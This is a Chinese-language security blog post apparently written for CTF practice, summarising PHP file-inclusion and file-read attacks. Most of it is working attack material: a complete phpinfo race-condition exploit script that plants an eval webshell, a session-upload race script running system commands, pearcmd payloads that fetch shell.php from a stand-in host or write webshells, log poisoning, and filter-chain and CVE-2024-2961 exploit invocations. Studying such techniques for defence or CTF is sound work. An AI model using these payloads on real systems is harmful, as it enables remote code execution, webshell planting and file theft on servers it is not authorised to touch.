任意文件包含/读取总结

常见利用函数

1
2
3
4
5
6
7
include: 找不到被包含的文件时只会产生警告,脚本将继续执行。
include_once: 和include()语句类似,唯一区别是如果该文件中的代码已经被包含,则不会再次包含。
require: 找不到被包含的文件时会产生致命错误,并停止脚本。
require_once: 和require()语句类似,唯一区别是如果该文件中的代码已经被包含,则不会再次包含。

readfile:返回从文件中读入的字节数
file_get_contents:把整个文件读入一个字符串中

LFI/RFI

所包含文件内容符合PHP语法规范,任何扩展名都可以被PHP解析。
所包含文件内容不符合PHP语法规范,会暴露其源代码(相当于文件读取)。

远程文件包含(Remote File Inclusion, RFI)是指包含远程服务器上的文件,需要在php.ini中设置allow_url_include=On

远程包含与本地包含没有区别,无非是支持远程加载,更容易getshell,无论是哪种扩展名,只要遵循PHP语法规范,PHP解析器就会对其解析。

如果对ip过滤了点可以将ip转为int

伪协议

官网伪协议手册

file://协议

file://用于访问本地文件系统

使用条件:allow_url_fopen=On/Off、allow_url_include=On/Off

example

trick: 可以用localhost代替/

php://协议

php://filter

使用条件:allow_url_fopen=On/Off、allow_url_include=On/Off

example

php://filter绕过死亡die

1
2
3
4
5
6
7
8
9
<?php
error_reporting(0);
highlight_file(__FILE__);

$file = $_GET['file'];
$content = $_POST['content'];

file_put_contents($file,"<?php die();?>".$content);
?>

使用rot13等转换器进行编码

example

php://input

使用条件:allow_url_fopen=On/Off、allow_url_include=On

enctype="multipart/form-data"(即文件上传)的时候php://input是无效的。

example

data://协议

使用条件:allow_url_include=On、allow_url_fopen=On

利用data://伪协议进行代码执行的思路原理和php://input是类似的,都是利用了PHP中的流的概念,将原本的include的文件流重定向到了用户可控制的输入流中。

用大白话解释就是说原来include包含的是一个路径,再去读取里面的内容,data://协议就相当于两步转为一步,直接读内容,可以理解为将include转为eval

用法:data://text/plain;base64,

trick:符合rfc2397规范即可

example

Nginx日志包含

利用条件:
1:有文件名可控的文件包含点
2:有可以访问到的日志路径

linux下日志默认存储位置

1
2
/var/log/nginx/access.log
/var/log/nginx/error_log

在访问时修改User-Agent头为php代码,成功访问后会在日志中记录下来

然后包含日志?file=../../../../../var/log/nginx/access.log,达到任意代码执行的效果

临时文件包含

在给PHP发送POST数据包时,如果数据包里包含文件区块,无论你访问的代码中有没有处理文件上传的逻辑,PHP都会将这个文件保存成一个临时文件(通常是/tmp/php[6个随机字符]),文件名可以在$_FILES变量中找到。这个临时文件,在请求结束后就会被删除。

同时,因为phpinfo页面会将当前请求上下文中所有变量都打印出来,所以我们如果向phpinfo页面发送包含文件区块的数据包,则即可在返回包里找到$_FILES变量的内容,自然也包含临时文件名。

在文件包含漏洞找不到可利用的文件时,即可利用这个方法,找到临时文件名,然后包含之。

但文件包含漏洞和phpinfo页面通常是两个页面,理论上我们需要先发送数据包给phpinfo页面,然后从返回页面中匹配出临时文件名,再将这个文件名发送给文件包含漏洞页面,进行getshell。在第一个请求结束时,临时文件就被删除了,第二个请求自然也就无法进行包含。

这个时候就需要用到条件竞争,具体流程如下:

1:发送包含了webshell的上传数据包给phpinfo页面,这个数据包的headerget等位置需要塞满垃圾数据
2:因为phpinfo页面会将所有数据都打印出来,1中的垃圾数据会将整个phpinfo页面撑得非常大
3:php默认的输出缓冲区大小为4096,可以理解为php每次返回4096个字节给socket连接
4:所以,我们直接操作原生socket,每次读取4096个字节。只要读取到的字符里包含临时文件名,就立即发送第二个数据包
5:此时,第一个数据包的socket连接实际上还没结束,因为php还在继续每次输出4096个字节,所以临时文件此时还没有删除
6:利用这个时间差,第二个数据包,也就是文件包含漏洞的利用,即可成功包含临时文件,最终getshell

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
#!/usr/bin/python
# python2 exp.py your-ip 8080 100
import sys
import threading
import socket

def setup(host, port):
TAG="Security Test"
PAYLOAD="""%s\r
<?php file_put_contents('/tmp/g', '<?=eval($_REQUEST[1])?>')?>\r""" % TAG
REQ1_DATA="""-----------------------------7dbff1ded0714\r
Content-Disposition: form-data; name="dummyname"; filename="test.txt"\r
Content-Type: text/plain\r
\r
%s
-----------------------------7dbff1ded0714--\r""" % PAYLOAD
padding="A" * 5000
REQ1="""POST /phpinfo.php?a="""+padding+""" HTTP/1.1\r
Cookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie="""+padding+"""\r
HTTP_ACCEPT: """ + padding + """\r
HTTP_USER_AGENT: """+padding+"""\r
HTTP_ACCEPT_LANGUAGE: """+padding+"""\r
HTTP_PRAGMA: """+padding+"""\r
Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714\r
Content-Length: %s\r
Host: %s\r
\r
%s""" %(len(REQ1_DATA),host,REQ1_DATA)
#modify this to suit the LFI script
LFIREQ="""GET /lfi.php?file=%s HTTP/1.1\r
User-Agent: Mozilla/4.0\r
Proxy-Connection: Keep-Alive\r
Host: %s\r
\r
\r
"""
return (REQ1, TAG, LFIREQ)

def phpInfoLFI(host, port, phpinforeq, offset, lfireq, tag):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect((host, port))
s2.connect((host, port))

s.send(phpinforeq)
d = ""
while len(d) < offset:
d += s.recv(offset)
try:
i = d.index("[tmp_name] =&gt; ")
fn = d[i+17:i+31]
except ValueError:
return None

s2.send(lfireq % (fn, host))
d = s2.recv(4096)
s.close()
s2.close()

if d.find(tag) != -1:
return fn

counter=0
class ThreadWorker(threading.Thread):
def __init__(self, e, l, m, *args):
threading.Thread.__init__(self)
self.event = e
self.lock = l
self.maxattempts = m
self.args = args

def run(self):
global counter
while not self.event.is_set():
with self.lock:
if counter >= self.maxattempts:
return
counter+=1

try:
x = phpInfoLFI(*self.args)
if self.event.is_set():
break
if x:
print "\nGot it! Shell created in /tmp/g"
self.event.set()

except socket.error:
return


def getOffset(host, port, phpinforeq):
"""Gets offset of tmp_name in the php output"""
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
s.send(phpinforeq)

d = ""
while True:
i = s.recv(4096)
d+=i
if i == "":
break
# detect the final chunk
if i.endswith("0\r\n\r\n"):
break
s.close()
i = d.find("[tmp_name] =&gt; ")
if i == -1:
raise ValueError("No php tmp_name in phpinfo output")

print "found %s at %i" % (d[i:i+10],i)
# padded up a bit
return i+256

def main():

print "LFI With PHPInfo()"
print "-=" * 30

if len(sys.argv) < 2:
print "Usage: %s host [port] [threads]" % sys.argv[0]
sys.exit(1)

try:
host = socket.gethostbyname(sys.argv[1])
except socket.error, e:
print "Error with hostname %s: %s" % (sys.argv[1], e)
sys.exit(1)

port=80
try:
port = int(sys.argv[2])
except IndexError:
pass
except ValueError, e:
print "Error with port %d: %s" % (sys.argv[2], e)
sys.exit(1)

poolsz=10
try:
poolsz = int(sys.argv[3])
except IndexError:
pass
except ValueError, e:
print "Error with poolsz %d: %s" % (sys.argv[3], e)
sys.exit(1)

print "Getting initial offset...",
reqphp, tag, reqlfi = setup(host, port)
offset = getOffset(host, port, reqphp)
sys.stdout.flush()

maxattempts = 1000
e = threading.Event()
l = threading.Lock()

print "Spawning worker pool (%d)..." % poolsz
sys.stdout.flush()

tp = []
for i in range(0,poolsz):
tp.append(ThreadWorker(e,l,maxattempts, host, port, reqphp, offset, reqlfi, tag))

for t in tp:
t.start()
try:
while not e.wait(1):
if e.is_set():
break
with l:
sys.stdout.write( "\r% 4d / % 4d" % (counter, maxattempts))
sys.stdout.flush()
if counter >= maxattempts:
break
print
if e.is_set():
print "Woot! \m/"
else:
print ":("
except KeyboardInterrupt:
print "\nTelling threads to shutdown..."
e.set()

print "Shuttin' down..."
for t in tp:
t.join()

if __name__=="__main__":
main()

php7.0文件包含崩溃卡临时文件

上面所说的临时文件包含是在脚本运行结束之前进行利用,而下面的方法则是在脚本运行结束之后利用

7.0线程崩溃payload

1
php://filter/string.strip_tags/resource=/etc/passwd

上传表单的时候让php崩溃,从而保留下临时文件
因为php是多线程的,所以单个线程的崩溃不会影响整个程序

1
2
3
4
5
6
7
import requests

url = "https://eae07757-1a87-40c5-955d-58ec51004989.challenge.ctf.show/?file=php://filter/string.strip_tags/resource=/etc/passwd"
data = [
('file', ('a.php', "@<?php\r\neval(\x24_POST['a']);\r\necho 123;\r\n?>", 'application/octet-stream'))]

requests.post(url, files=data)

session.upload_progress文件包含

会话机制(session)在PHP中用于保持用户连续访问Web应用时的相关数据。

PHPsession以文件的形式存储在服务器某个文件中,可以在php.ini里面设置session的存储位置session.save_path

默认路径

1
2
3
4
/var/lib/php/sess_PHPSESSID
/var/lib/php/sessions/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID

再看下在php.ini中关于sessionupload_progress的几个默认配置

1
2
3
4
5
6
7
session.upload_progress.enabled = on
session.upload_progress.cleanup = on
session.upload_progress.prefix = "upload_progress_"
session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"
session.upload_progress.freq = "1%"
session.upload_progress.min_freq = "1"
session.use_strict_mode = "0"

enabled=on表示upload_progress功能开始,也意味着当浏览器向服务器上传一个文件时,php将会把此次文件上传的详细信息(如上传时间、上传进度等)存储在session当中;
cleanup=on表示当文件上传结束后,php将会立即清空对应session文件中的内容;
name当它出现在表单中,php将会报告上传进度,最大的好处是,它的值可控;
prefix+name将表示为session中的键名;

其中session.use_strict_mode默认值为0,此时用户是可以自己定义Session ID的,比如在Cookie里设置PHPSESSID=lewiseriiPHP将会在服务器上创建一个文件:/tmp/sess_lewiserii

然后在PHP_SESSION_UPLOAD_PROGRESS下添加一句话木马,这样就会往指定的session文件中写入我们想要的内容

然后?file=/tmp/sess_lewiserii包含即可

但是要注意session.upload_progress.cleanup默认是开启的,一旦读取了所有POST数据,它就会清空对应session文件中的内容,所以需要利用条件竞争来包含

使用bp同时不断的发post传文件的包和文件包含的包或者使用脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import io
import sys
import requests
import threading

sessid = 'ctf'
sess_path='/tmp'
url='http://c0648e39-a4bb-4776-88f0-a5cf98e9f640.challenge.ctf.show/'
cmd='ls /'

def WRITE(session):
while True:
f = io.BytesIO(b'x' * 1024 * 50)
session.post(
url=url,
data={"PHP_SESSION_UPLOAD_PROGRESS":f"<?php system('{cmd}');?>"},
files={"file":('xxx.txt', f)},
cookies={'PHPSESSID':sessid}
)

def READ(session):
while True:
response = session.get(f'{url}?file={sess_path}/sess_{sessid}')
if 'upload_progress_' in response.text:
print(response.text)
sys.exit(0)
else:
print('++++++retry++++++')

def main():
with requests.session() as session:
t1 = threading.Thread(target=WRITE, args=(session,))
t1.daemon = True
t1.start()
READ(session)
if __name__ == '__main__':
main()

pear文件包含

利用条件
1:有文件包含点
2:开启了pear扩展
3:配置文件中register_argc_argv设置为On,而默认为Off

PEAR是为PHP扩展与应用库(PHP Extension and Application Repository),它是一个PHP扩展及应用的一个代码仓库,类似于composer,用于代码的下载与管理。默认安装位置:/usr/local/lib/php

那么这个register_argc_argv能干什么呢?简言之,可以通过$_SERVER['argv']获得命令行参数,其中以+作为分隔符

pear目录下有一个pearcmd.php,是pear命令调用的文件,是用来管理依赖的,类似python的pip。能包含它又能给参数的话,就可以用它来写木马了

靶机可出网

远程文件下载

命令行语法:pear install -R /tmp http://vps/shell.php

install会下载到/tmp/pear/download/目录下,当然也可以用-R指定目录。而用download会下载到当前目录

1
2
3
/?file=/usr/local/lib/php/pearcmd.php&+install+http://your-shell.com/shell.php
/?file=/usr/local/lib/php/pearcmd.php&+install+-R+/var/www/html/+http://your-shell.com/shell.php
/?file=/usr/local/lib/php/pearcmd.php&+download+http://your-shell.com/shell.php

靶机不出网

姿势一:通过config-create写shell

1
2
/?file=/usr/local/lib/php/pearcmd.php&aaaa+config-create+/<?=eval($_POST[a])?>+/tmp/shell.php
/?file=/usr/local/lib/php/pearcmd.php&aaaa+config-create+/var/www/html/<?=`$_POST[a]`;?>+1.php

姿势二:将恶意的php代码写入配置文件中

1
/?file=/usr/local/lib/php/pearcmd.php&+-c+/tmp/ctf.php+-d+man_dir=<?eval($_POST[1]);?>+-s+

绕过包含次数限制

例题

1
2
3
4
5
6
<?php
require_once('flag.php');
if(isset($_GET['content'])) {
$content = $_GET['content'];
require_once($content);
}

因为include_oncerequire_once对于同一个文件只能包含一次,已经包含了flag.php一次了,那么就没办法继续包含它了吗?

payload:
php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php

路径中的/proc/self/root就表示/

具体分析原理的文章:php源码分析 require_once 绕过不能重复包含文件的限制

FilterChain 利用 (iconv LFI)

hxp CTF 2021 - The End Of LFI?

原理

利用了PHP Base64 Filter 宽松的解析特性,通过 iconv filter 等编码组合构造出特定的 PHP 代码进而完成无需临时文件的 RCE

1
2
3
4
//解码的字符串中包含无效字符,那么就会忽略掉那些字符,只对有效字符进行解码

dr0n11 --> ZHIwbjEx
ZH<?Iw-bjEx --> dr0n11

即使我们在使用其他字符编码时产生了不可见字符,也可以利用 convert.base64-decode 来去掉非法字符,留下我们想要的字符

利用

因为不同的靶机环境有不同的字符集,所以可能会打不通,这时可以先fuzz一下,得到更为通用的字符集构造的POC

PHP_INCLUDE_TO_SHELL_CHAR_DICT

PHP filter chain generator

也可以用来绕过一些限定条件

例如

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
error_reporting(0);
if (isset($_GET['file'])) {
$content = file_get_contents($_GET['file']);
if (strpos($content, 'aaa') === False) {
die('failed to read');
}

else {
echo $content;
die();
}
}
else {
die('nothing here');
}

?>

python3 php_filter_chain_generator.py --chain 'aaa'

绕过

string.strip_tags过滤器和<搭配使用

1
2
(PHP 4, PHP 5, PHP 7, PHP 8)
strip_tags — 从字符串中去除 HTML 和 PHP 标签

当我们使用php_filter_chain_generator生成FilterChain的时候在结尾添加一个<标签

在结尾手动添加一个string.strip_tags,过滤后面的乱字符

侧信道读取文件-基于错误的oracle方式(error-based-oracle)

与 FilterChain 利用相似

限制条件:
1:php 5.3 以下不能用
2:极度依赖系统 iconv 提供的字符集

例子

1
2
3
4
5
6
7
8
//2024红明谷
<?php
highlight_file(__FILE__);
// flag.php
if (isset($_POST['f'])) {
echo hash_file('md5', $_POST['f']);
}
?>

原理

The End of AFR? 非常详细的解读了工作原理

使用 UCS-4LE 等编码技巧让 PHP 产生内存错误导致服务器产生 500 错误,配合 dechunk 编码使得前面的错误正常化从而获得一个盲注的判断依据,使用该依据以及编码技巧逐个判断盲注出文件内容,进而可以造成任意文件内容读取。

受影响的函数

基本上只要对文件执行操作,包括读取、写入或向文件追加内容,或者使用了链接到该文件的流都会受到影响

Function Pattern
file_get_contents file_get_contents($_POST[0]);
readfile readfile($_POST[0]);
finfo->file $file = new finfo(); $fileinfo = $file->file($_POST[0], FILEINFO_MIME);
getimagesize getimagesize($_POST[0]);
md5_file md5_file($_POST[0]);
sha1_file sha1_file($_POST[0]);
hash_file hash_file(‘md5’, $_POST[0]);
file file($_POST[0]);
parse_ini_file parse_ini_file($_POST[0]);
copy copy($_POST[0], ‘/tmp/test’);
file_put_contents (only target read only with this) file_put_contents($_POST[0], “”);
stream_get_contents $file = fopen($_POST[0], “r”); stream_get_contents($file);
fgets $file = fopen($_POST[0], “r”); fgets($file);
fread $file = fopen($_POST[0], “r”); fread($file, 10000);
fgetc $file = fopen($_POST[0], “r”); fgetc($file);
fgetcsv $file = fopen($_POST[0], “r”); fgetcsv($file, 1000, “,”);
fpassthru $file = fopen($_POST[0], “r”); fpassthru($file);
fputs $file = fopen($_POST[0], “rw”); fputs($file, 0);

利用

php_filter_chains_oracle_exploit

python3 filters_chain_oracle_exploit.py --target http://172.20.35.66/ --parameter 0 --file /flag

利用GNU C Iconv将文件读取变成RCE(CVE-2024-2961)

原理

GNU C 是一个标准的ISO C依赖库。在GNU C中,iconv()函数2.39及以前存在一处缓冲区溢出漏洞,这可能会导致应用程序崩溃或覆盖相邻变量。

如果一个PHP应用中存在任意文件读取漏洞,攻击者可以利用iconv()的这个CVE-2024-2961漏洞,将其提升为代码执行漏洞。

利用

同样的,PHP的所有标准文件读取操作都受到了影响:file_get_contents()、hash_file()、file()、readfile()、fgets()、getimagesize()、SplFileObject->read()等

cnext-exploits

python3 cnext-exploit.py http://your-ip:8080/index.php "echo '<?=phpinfo();?>' > shell.php"

绕过

手动修改脚本中的交互逻辑即可

伪协议去除多余字符

例子

1
2
3
4
5
6
7
8
<?php
highlight_file(__FILE__);

$content='lajilajilajilajilaji'.$_GET['a'].'lajilajilajilajilaji';
file_put_contents($_GET['name'].".txt",$content);

$tmp = file_get_contents('123.txt');
eval($tmp($_GET['cmd']));

原理还是基于base64的宽松性

所以只需要将垃圾字符转换成base64字符集以外的字符即可

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
$a ='system';
$payload = iconv('utf-8', 'utf-16', base64_encode($a));
echo urlencode($payload);

// 1:我们需要的数据
// system

// 2:base64后
// c3lzdGVt

// 3:utf-8转换为utf-16
// %FF%FEc%003%00l%00z%00d%00G%00V%00t%00
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
$b='lajilajilajilajilaji%FF%FEc%003%00l%00z%00d%00G%00V%00t%00lajilajilajilajilaji';
$b=urldecode($b);
$payload = iconv('utf-16', 'utf-8', $b);
$payload = base64_decode($payload);
echo $payload;

// 1:拼接后的数据
// lajilajilajilajilaji%FF%FEc%003%00l%00z%00d%00G%00V%00t%00lajilajilajilajilaji

// 2:utf-16转换为utf-8
// 乱码c3lzdGVt乱码

// 3:base64_decode
// system

转成伪协议的写法

php://filter/convert.iconv.utf-16.utf-8/convert.base64-decode/resource=

不同编码在线转换网站

php还有很多支持的字符编码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
UCS-4*
UCS-4BE
UCS-4LE*
UCS-2
UCS-2BE
UCS-2LE
UTF-32*
UTF-32BE*
UTF-32LE*
UTF-16*
UTF-16BE*
UTF-16LE*
UTF-7
UTF7-IMAP
UTF-8*
ASCII*
EUC-JP*
SJIS*
eucJP-win*
SJIS-win*
ISO-2022-JP
ISO-2022-JP-MS
CP932
CP51932
SJIS-mac(别名:MacJapanese)
SJIS-Mobile#DOCOMO(别名:SJIS-DOCOMO)
SJIS-Mobile#KDDI(别名:SJIS-KDDI)
SJIS-Mobile#SOFTBANK(别名:SJIS-SOFTBANK)
UTF-8-Mobile#DOCOMO(别名:UTF-8-DOCOMO)
UTF-8-Mobile#KDDI-A
UTF-8-Mobile#KDDI-B(别名:UTF-8-KDDI)
UTF-8-Mobile#SOFTBANK(别名:UTF-8-SOFTBANK)
ISO-2022-JP-MOBILE#KDDI(别名:ISO-2022-JP-KDDI)
JIS
JIS-ms
CP50220
CP50220raw
CP50221
CP50222
ISO-8859-1*
ISO-8859-2*
ISO-8859-3*
ISO-8859-4*
ISO-8859-5*
ISO-8859-6*
ISO-8859-7*
ISO-8859-8*
ISO-8859-9*
ISO-8859-10*
ISO-8859-13*
ISO-8859-14*
ISO-8859-15*
ISO-8859-16*
byte2be
byte2le
byte4be
byte4le
BASE64
HTML-ENTITIES(别名:HTML)
7bit
8bit
EUC-CN*
CP936
GB18030
HZ
EUC-TW*
CP950
BIG-5*
EUC-KR*
UHC(别名:CP949)
ISO-2022-KR
Windows-1251(别名:CP1251)
Windows-1252(别名:CP1252)
CP866(别名:IBM866)
KOI8-R*
KOI8-U*
ArmSCII-8(别名:ArmSCII8)

参考文章1:Docker PHP裸文件本地包含综述
参考文章2:文件包含的几种不常规利用姿势
参考文章3:PHP Filter链——基于oracle的文件读取攻击


任意文件包含/读取总结
https://www.dr0n.top/posts/a3faee7a/
作者
dr0n
发布于
2022年6月23日
更新于
2024年9月7日
许可协议